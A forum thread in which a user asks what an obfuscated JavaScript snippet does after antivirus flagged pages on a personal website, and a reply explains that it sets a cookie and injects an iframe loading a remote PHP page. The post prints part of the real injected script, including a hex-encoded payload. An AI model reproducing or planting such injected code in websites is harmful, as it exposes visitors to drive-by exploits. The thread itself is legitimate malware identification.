Strange Javascript appearing on website

Avira flagged some pages on one of our user's personal websites as "EXP/JS.Expack.GQ!", and looking at the source, this Javascript is on the page (just a snippet):

<script type="text/javascript" language="javascript">																																																														  
 gbmv=document;pjam="spl"+"i"+"t";hsk=window;dzpo="0"+"x";smc=    
 (5-3-1);try{--(gbmv["body"])}catch(dfgpz)    
 {uqyyqt=false;try{}catch(sxvai){uqyyqt=21;}if(1)  
{cqroz="17:5d:6c:65:5a:6b:60:66:65:17:61:60:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:61:60:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:61:60:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:58:64:67:5e:69:66:6c:67:25:5a:66:25:6c:62:26:5a:63:62:25:67:5f:67:1e:32:4:1:17:61:60:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:61:60:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2d:2c:28:2e:2f:1e:32:4:1:17:61:60:25:6a:6b:70:63:5c:25:5f:5c:60    

Anyone know what this does?

Posted Sep 19, 2013, 4:08 PM UTC

11
[deleted]•

[deleted]

1
unnecessary_axiom•

I found a full source

Which turns into this.

It looks like it sets a "visited" cookie, then executes a javascript function to append an iframe with the URL of some page off of a wordpress site. The php file it includes just says "ok" right now, but in the paste or future could have done something interesting.

1
[deleted]•

[deleted]

1